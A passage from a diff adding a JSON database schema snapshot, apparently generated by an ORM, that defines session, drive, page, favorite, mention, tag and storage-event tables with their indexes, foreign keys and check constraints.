+ "notNull": true,
+ "default": 0
+ },
+ "created_by_service": {
+ "name": "created_by_service",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_by_ip": {
+ "name": "created_by_ip",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "last_used_at": {
+ "name": "last_used_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "last_used_ip": {
+ "name": "last_used_ip",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "revoked_at": {
+ "name": "revoked_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "revoked_reason": {
+ "name": "revoked_reason",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "sessions_user_id_idx": {
+ "name": "sessions_user_id_idx",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "sessions_expires_at_idx": {
+ "name": "sessions_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expires_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "sessions_user_active_idx": {
+ "name": "sessions_user_active_idx",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "revoked_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "expires_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "sessions_user_device_idx": {
+ "name": "sessions_user_device_idx",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "device_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "sessions_user_id_users_id_fk": {
+ "name": "sessions_user_id_users_id_fk",
+ "tableFrom": "sessions",
+ "tableTo": "users",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "sessions_token_hash_unique": {
+ "name": "sessions_token_hash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "token_hash"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.drives": {
+ "name": "drives",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "slug": {
+ "name": "slug",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "ownerId": {
+ "name": "ownerId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "kind": {
+ "name": "kind",
+ "type": "DriveKind",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'STANDARD'"
+ },
+ "orgId": {
+ "name": "orgId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "orgVisibility": {
+ "name": "orgVisibility",
+ "type": "OrgDriveVisibility",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'OPEN'"
+ },
+ "isTrashed": {
+ "name": "isTrashed",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "trashedAt": {
+ "name": "trashedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "drivePrompt": {
+ "name": "drivePrompt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "publishSubdomain": {
+ "name": "publishSubdomain",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "homePageId": {
+ "name": "homePageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "publish_default_og_image_url": {
+ "name": "publish_default_og_image_url",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "not_found_page_id": {
+ "name": "not_found_page_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "publish_favicon_url": {
+ "name": "publish_favicon_url",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "avatarUrl": {
+ "name": "avatarUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "color": {
+ "name": "color",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "drives_owner_id_idx": {
+ "name": "drives_owner_id_idx",
+ "columns": [
+ {
+ "expression": "ownerId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drives_owner_id_slug_key": {
+ "name": "drives_owner_id_slug_key",
+ "columns": [
+ {
+ "expression": "ownerId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "slug",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drives_owner_home_unique": {
+ "name": "drives_owner_home_unique",
+ "columns": [
+ {
+ "expression": "ownerId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"drives\".\"kind\" = 'HOME'",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "drives_org_slug_unique": {
+ "name": "drives_org_slug_unique",
+ "columns": [
+ {
+ "expression": "orgId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "slug",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"drives\".\"orgId\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "drives_ownerId_users_id_fk": {
+ "name": "drives_ownerId_users_id_fk",
+ "tableFrom": "drives",
+ "tableTo": "users",
+ "columnsFrom": [
+ "ownerId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "drives_orgId_organizations_id_fk": {
+ "name": "drives_orgId_organizations_id_fk",
+ "tableFrom": "drives",
+ "tableTo": "organizations",
+ "columnsFrom": [
+ "orgId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "restrict",
+ "onUpdate": "no action"
+ },
+ "drives_homePageId_pages_id_fk": {
+ "name": "drives_homePageId_pages_id_fk",
+ "tableFrom": "drives",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "homePageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "drives_not_found_page_id_pages_id_fk": {
+ "name": "drives_not_found_page_id_pages_id_fk",
+ "tableFrom": "drives",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "not_found_page_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "drives_publishSubdomain_unique": {
+ "name": "drives_publishSubdomain_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "publishSubdomain"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {
+ "drives_home_never_org_check": {
+ "name": "drives_home_never_org_check",
+ "value": "\"drives\".\"kind\" <> 'HOME' OR \"drives\".\"orgId\" IS NULL"
+ },
+ "drives_avatar_url_chk": {
+ "name": "drives_avatar_url_chk",
+ "value": "\"drives\".\"avatarUrl\" IS NULL OR \"drives\".\"avatarUrl\" ~ ('^/api/drives/' || \"drives\".\"id\" || '/avatar/avatar-[a-z0-9]{1,32}\\.(png|jpg|gif|webp)$')"
+ },
+ "drives_color_chk": {
+ "name": "drives_color_chk",
+ "value": "\"drives\".\"color\" IS NULL OR \"drives\".\"color\" IN ('slate', 'red', 'orange', 'amber', 'green', 'teal', 'blue', 'indigo', 'violet', 'pink')"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.favorites": {
+ "name": "favorites",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "itemType": {
+ "name": "itemType",
+ "type": "FavoriteItemType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'page'"
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "position": {
+ "name": "position",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "favorites_user_id_page_id_key": {
+ "name": "favorites_user_id_page_id_key",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "pageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "favorites_user_id_drive_id_key": {
+ "name": "favorites_user_id_drive_id_key",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "favorites_user_id_position_idx": {
+ "name": "favorites_user_id_position_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "position",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "favorites_userId_users_id_fk": {
+ "name": "favorites_userId_users_id_fk",
+ "tableFrom": "favorites",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "favorites_pageId_pages_id_fk": {
+ "name": "favorites_pageId_pages_id_fk",
+ "tableFrom": "favorites",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "pageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "favorites_driveId_drives_id_fk": {
+ "name": "favorites_driveId_drives_id_fk",
+ "tableFrom": "favorites",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "favorites_item_type_consistency_chk": {
+ "name": "favorites_item_type_consistency_chk",
+ "value": "((\"itemType\" = 'page' AND \"pageId\" IS NOT NULL AND \"driveId\" IS NULL) OR (\"itemType\" = 'drive' AND \"driveId\" IS NOT NULL AND \"pageId\" IS NULL))"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.mentions": {
+ "name": "mentions",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "sourcePageId": {
+ "name": "sourcePageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "targetPageId": {
+ "name": "targetPageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "mentions_source_page_id_target_page_id_key": {
+ "name": "mentions_source_page_id_target_page_id_key",
+ "columns": [
+ {
+ "expression": "sourcePageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "targetPageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "mentions_source_page_id_idx": {
+ "name": "mentions_source_page_id_idx",
+ "columns": [
+ {
+ "expression": "sourcePageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "mentions_target_page_id_idx": {
+ "name": "mentions_target_page_id_idx",
+ "columns": [
+ {
+ "expression": "targetPageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "mentions_sourcePageId_pages_id_fk": {
+ "name": "mentions_sourcePageId_pages_id_fk",
+ "tableFrom": "mentions",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "sourcePageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "mentions_targetPageId_pages_id_fk": {
+ "name": "mentions_targetPageId_pages_id_fk",
+ "tableFrom": "mentions",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "targetPageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.pages": {
+ "name": "pages",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "title": {
+ "name": "title",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "type": {
+ "name": "type",
+ "type": "PageType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "content": {
+ "name": "content",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "contentMode": {
+ "name": "contentMode",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'html'"
+ },
+ "isPaginated": {
+ "name": "isPaginated",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "position": {
+ "name": "position",
+ "type": "real",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "isTrashed": {
+ "name": "isTrashed",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "aiProvider": {
+ "name": "aiProvider",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "aiModel": {
+ "name": "aiModel",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "systemPrompt": {
+ "name": "systemPrompt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enabledTools": {
+ "name": "enabledTools",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "includeDrivePrompt": {
+ "name": "includeDrivePrompt",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "agentDefinition": {
+ "name": "agentDefinition",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "visibleToGlobalAssistant": {
+ "name": "visibleToGlobalAssistant",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "includePageTree": {
+ "name": "includePageTree",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "pageTreeScope": {
+ "name": "pageTreeScope",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'children'"
+ },
+ "toolExposureMode": {
+ "name": "toolExposureMode",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'upfront'"
+ },
+ "sandboxEnabled": {
+ "name": "sandboxEnabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "defaultEnvId": {
+ "name": "defaultEnvId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "userScopedAccess": {
+ "name": "userScopedAccess",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "siteMode": {
+ "name": "siteMode",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "fileSize": {
+ "name": "fileSize",
+ "type": "real",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mimeType": {
+ "name": "mimeType",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "originalFileName": {
+ "name": "originalFileName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "filePath": {
+ "name": "filePath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "fileMetadata": {
+ "name": "fileMetadata",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "processingStatus": {
+ "name": "processingStatus",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'pending'"
+ },
+ "processingError": {
+ "name": "processingError",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "processedAt": {
+ "name": "processedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "extractionMethod": {
+ "name": "extractionMethod",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "extractionMetadata": {
+ "name": "extractionMetadata",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "contentHash": {
+ "name": "contentHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "excludeFromSearch": {
+ "name": "excludeFromSearch",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "isPrivate": {
+ "name": "isPrivate",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "createdBy": {
+ "name": "createdBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "trashedAt": {
+ "name": "trashedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "revision": {
+ "name": "revision",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "contentRevision": {
+ "name": "contentRevision",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "stateHash": {
+ "name": "stateHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "parentId": {
+ "name": "parentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "originalParentId": {
+ "name": "originalParentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "pages_drive_id_idx": {
+ "name": "pages_drive_id_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "pages_parent_id_idx": {
+ "name": "pages_parent_id_idx",
+ "columns": [
+ {
+ "expression": "parentId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "pages_parent_id_position_idx": {
+ "name": "pages_parent_id_position_idx",
+ "columns": [
+ {
+ "expression": "parentId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "position",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "pages_drive_id_is_trashed_type_idx": {
+ "name": "pages_drive_id_is_trashed_type_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "isTrashed",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "type",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "pages_defaultEnvId_drive_envs_id_fk": {
+ "name": "pages_defaultEnvId_drive_envs_id_fk",
+ "tableFrom": "pages",
+ "tableTo": "drive_envs",
+ "columnsFrom": [
+ "defaultEnvId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "pages_createdBy_users_id_fk": {
+ "name": "pages_createdBy_users_id_fk",
+ "tableFrom": "pages",
+ "tableTo": "users",
+ "columnsFrom": [
+ "createdBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "pages_driveId_drives_id_fk": {
+ "name": "pages_driveId_drives_id_fk",
+ "tableFrom": "pages",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.storage_events": {
+ "name": "storage_events",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "eventType": {
+ "name": "eventType",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "sizeDelta": {
+ "name": "sizeDelta",
+ "type": "real",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "totalSizeAfter": {
+ "name": "totalSizeAfter",
+ "type": "real",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "storage_events_user_id_idx": {
+ "name": "storage_events_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "storage_events_created_at_idx": {
+ "name": "storage_events_created_at_idx",
+ "columns": [
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "storage_events_userId_users_id_fk": {
+ "name": "storage_events_userId_users_id_fk",
+ "tableFrom": "storage_events",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "storage_events_pageId_pages_id_fk": {
+ "name": "storage_events_pageId_pages_id_fk",
+ "tableFrom": "storage_events",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "pageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.tags": {
+ "name": "tags",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "normalizedKey": {
+ "name": "normalizedKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "color": {
+ "name": "color",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdBy": {
+ "name": "createdBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "tags_drive_id_idx": {
+ "name": "tags_drive_id_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "tags_driveId_drives_id_fk": {
+ "name": "tags_driveId_drives_id_fk",
+ "tableFrom": "tags",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "tags_createdBy_users_id_fk": {
+ "name": "tags_createdBy_users_id_fk",
+ "tableFrom": "tags",
+ "tableTo": "users",
+ "columnsFrom": [
+ "createdBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "tags_drive_id_normalized_key_key": {
+ "name": "tags_drive_id_normalized_key_key",
+ "nullsNotDistinct": false,
+ "columns": [
+ "driveId",
+ "normalizedKey"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.user_mentions": {
+ "name": "user_mentions",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "sourcePageId": {
+ "name": "sourcePageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "targetUserId": {
+ "name": "targetUserId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "mentionedByUserId": {
+ "name": "mentionedByUserId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "user_mentions_source_page_id_target_user_id_key": {
+ "name": "user_mentions_source_page_id_target_user_id_key",
+ "columns": [
+ {
+ "expression": "sourcePageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "targetUserId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "user_mentions_source_page_id_idx": {
+ "name": "user_mentions_source_page_id_idx",
+ "columns": [
+ {
+ "expression": "sourcePageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "user_mentions_target_user_id_idx": {
